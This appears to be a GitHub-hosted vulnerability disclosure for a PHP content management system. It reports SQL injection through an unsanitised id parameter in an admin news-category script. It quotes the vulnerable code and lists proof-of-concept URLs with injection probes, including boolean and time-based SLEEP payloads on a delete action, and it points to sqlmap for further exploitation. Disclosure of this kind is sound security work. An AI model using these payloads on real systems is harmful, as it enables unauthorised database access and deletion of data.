jsjbcyber Update bug_m History

1 contributor

52 lines (46 sloc) | 1.89 KB

```
Build environment with PHP5.
--------------------------------
affected source code file: /admin/news/sort_ok.php
--------------------------------
affected source code:

    <?php
        require_once '../../inc/const.php';
        $act = $_GET['act'];
        $id =getvar('id');
        .....
        if ($act=='mod'){
        $record = array(
          'fid'         =>$fid,
          'name'                =>$name,
          'style'               =>$title_color,
          'title_bold'=>$title_bold,
          'title_em'    =>$title_em,
          'title_u'     =>$title_u,
          'ckeywords'   =>$ckeywords,
          'cdescription'        =>$cdescription,
          'template'    =>$tpl_list,
          'templateview'        =>$tpl_view,
          'rank'                =>$rank
        );
        $db->update($GLOBALS[databasePrefix].'class',$record,'id='.$id);
        echo "<script>alert('修改成功!');window.location='sort_manage.php';</script>";

      }

```

```
      //删除
      if ($act=='del') {
        $db->delete($GLOBALS[databasePrefix].'class','id='.$id);
        echo "<script>alert('删除成功!');window.location='sort_manage.php';</script>";
      }
      ?>


--------------------------------
affected reason:
      We can see the $id parameter has not been safely processed. So, the SQL injection can be ach
--------------------------------
affected executable:
  After Signing in to the background in advance. Then we can use burpsuit to grab the following UR

  Like this:
            http://xx.xx.com/admin/news/sort_ok.php?act=del&id=1'
            http://xx.xx.com/admin/news/sort_ok.php?act=del&id=1 and 1=1
            http://xx.xx.com/admin/news/sort_ok.php?act=del&id=1 and 1=2
            http://xx.xx.com/admin/news/sort_ok.php?act=del&id=1 RLIKE SLEEP(2)

  And we can see the sql injection problems.
  Then, we can use tools like sqlmap for more information.
```